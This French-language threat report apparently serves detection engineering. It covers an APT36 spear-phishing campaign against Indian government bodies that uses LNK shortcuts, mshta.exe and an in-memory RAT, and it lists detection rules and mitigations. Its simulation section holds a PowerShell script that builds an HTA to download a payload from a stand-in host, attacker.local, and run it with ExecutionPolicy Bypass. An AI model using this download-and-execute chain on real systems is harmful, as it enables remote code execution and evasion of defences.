APT36 : Campagne de Malware LNK en Plusieurs Étapes Ciblant les Entités Gouvernementales Indiennes
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
APT36 (Transparent Tribe) a mené une campagne de spear-phishing qui a livré un raccourci LNK malveillant se faisant passer pour un PDF. Lorsqu’il est ouvert, le raccourci lance mshta.exe pour exécuter un chargeur basé sur HTA qui décrypte et exécute des charges utiles en mémoire, y compris un module de configuration et une DLL RAT complète. Le logiciel malveillant sélectionne dynamiquement les méthodes de persistance en fonction du produit antivirus installé par la victime et se connecte à son serveur de commande et de contrôle via un canal encrypté. L’activité est évaluée comme étant axée sur l’espionnage, ciblant les organisations gouvernementales et universitaires indiennes pour voler des données.
Enquête
Les chercheurs ont analysé le fichier LNK inhabituellement volumineux, retracé le contenu HTA intégré hébergé sur innlive.in, et ont effectué une ingénierie inverse de la logique de décryptage. La chaîne a révélé deux étapes principales : une charge utile de désérialisation .NET utilisée pour affaiblir ou contourner les vérifications de sécurité, suivie d’une DLL malveillante sans fichier (par exemple, ki2mtmkl.dll / iinneldc.dll) offrant une fonctionnalité RAT. Le comportement de persistance a été mappé à des produits antivirus spécifiques, et les principaux détails C2 — tels que le port TCP 8621 et une clé AES utilisée pour le trafic encrypté — ont été extraits lors de l’analyse.
Atténuation
Restreindre ou mettre en quarantaine les pièces jointes de raccourci (.lnk) envoyées par e-mail, en particulier lorsqu’elles sont emballées dans des archives ZIP. Appliquer des politiques de contrôle des applications pour limiter l’exécution de mshta.exe, PowerShell et d’autres moteurs de scripts depuis des chemins modifiables par l’utilisateur. Utiliser des détections de point d’extrémité pour les chaînes de processus impliquant mshta.exe et des indicateurs d’exécution de DLL en mémoire, et imposer des restrictions de sortie strictes pour bloquer la communication avec des domaines inconnus ou non fiables.
Réponse
Si une exécution de LNK suspecte est détectée, isoler le système, capturer des images mémoire, et rechercher des indicateurs de DLL en mémoire liés à l’étape RAT. Bloquer les domaines malveillants identifiés et l’infrastructure IP associée, et faire pivoter les identifiants potentiellement exposés. Effectuer un examen judiciaire pour localiser les artefacts de persistance dans le dossier de démarrage et le registre, les supprimer et valider qu’aucun autre point d’accès ne subsiste.
Flux d’attaque
Détections
Fichier LNK Possibly Malveillant à Double Extension (via cmdline)
Voir
Comportement d’Évasion de la Défense LOLBAS MSHTA Suspectée par Détection de Commandes Associées (via création de processus)
Voir
Scripts / Binaires Suspects dans l’Emplacement de l’Autostart (via événement de fichier)
Voir
Fichiers Suspects dans le Profil Utilisateur Public (via événement de fichier)
Voir
Exécution Suspecte à partir du Profil Utilisateur Public (via création de processus)
Voir
IOC (SourceIP) à détecter : APT36 : Campagne de Logiciel Malveillant LNK Multistage Ciblant des Entités Gouvernementales Indiennes
Voir
IOC (HashSha256) à détecter : APT36 : Campagne de Logiciel Malveillant LNK Multistage Ciblant des Entités Gouvernementales Indiennes
Voir
IOC (DestinationIP) à détecter : APT36 : Campagne de Logiciel Malveillant LNK Multistage Ciblant des Entités Gouvernementales Indiennes
Voir
Exécution de mshta.exe avec PowerShell ou CMD [Création de Processus Windows]
Voir
Détection de Domaine Malveillant APT36 et Communication C2 [Connexion Réseau Windows]
Voir
Détection de Clé AES Codée en Dur dans la Campagne APT36 [Sysmon Windows]
Voir
Exécution de Simulation
Prérequis : La Vérification Pré-vol de la Télémétrie et de la Ligne de Base doit avoir été réussie.
Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narratif et Commandes de l’Attaque :
Un adversaire a obtenu un accès PowerShell à faible privilège sur un poste de travail compromis. Pour exécuter une charge utile distante sans écrire un exécutable sur le disque, l’attaquant utilisemshta.exepour exécuter un fichier HTA qui extrait une porte dérobée PowerShell d’un serveur C2. Les étapes sont :- Encoder un HTA minimal malveillant qui lance PowerShell pour télécharger et exécuter une charge utile.
- Héberger le HTA sur un serveur web (par exemple,
http://attacker.local/malicious.hta). - Depuis la session PowerShell compromise, invoquez
mshta.exeavec l’URL distante comme argument.
Cette chaîne crée un événement de création de processus où
mshta.exeest l’enfant depowershell.exe, correspondant précisément à la règle Sigma. -
Script de Test de Régression :
#------------------------------------------------- # Script d'attaquant simulé – déclenche la règle #------------------------------------------------- # 1. Définir le HTA malveillant (en ligne pour les besoins de la démonstration) $htaContent = @" <script> // Télécharger et exécuter une charge PowerShell factice var url = 'http://attacker.local/payload.ps1'; var xhr = new ActiveXObject('Microsoft.XMLHTTP'); xhr.open('GET', url, false); xhr.send(); var ps = new ActiveXObject('WScript.Shell'); ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false); </script> "@ # 2. Écrire le HTA dans un emplacement temporaire (simulant un fichier hébergé) $tempPath = "$env:TEMPmalicious.hta" $htaContent | Set-Content -Path $tempPath -Encoding ASCII # 3. Lancer mshta.exe depuis PowerShell (le déclencheur de détection) $mshta = (Get-Command mshta.exe).Source Write-Host "[*] Lancement de mshta.exe pour exécuter le payload HTA..." Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow # Optionnel : Pause pour permettre la capture de l'événement Start-Sleep -Seconds 5 # Nettoyage (géré dans la section suivante) -
Commandes de Nettoyage :
# Supprimer le fichier HTA temporaire Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue # Arrêter tous les processus mshta.exe persistants (peu probable après une exécution normale) Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] Nettoyage complet."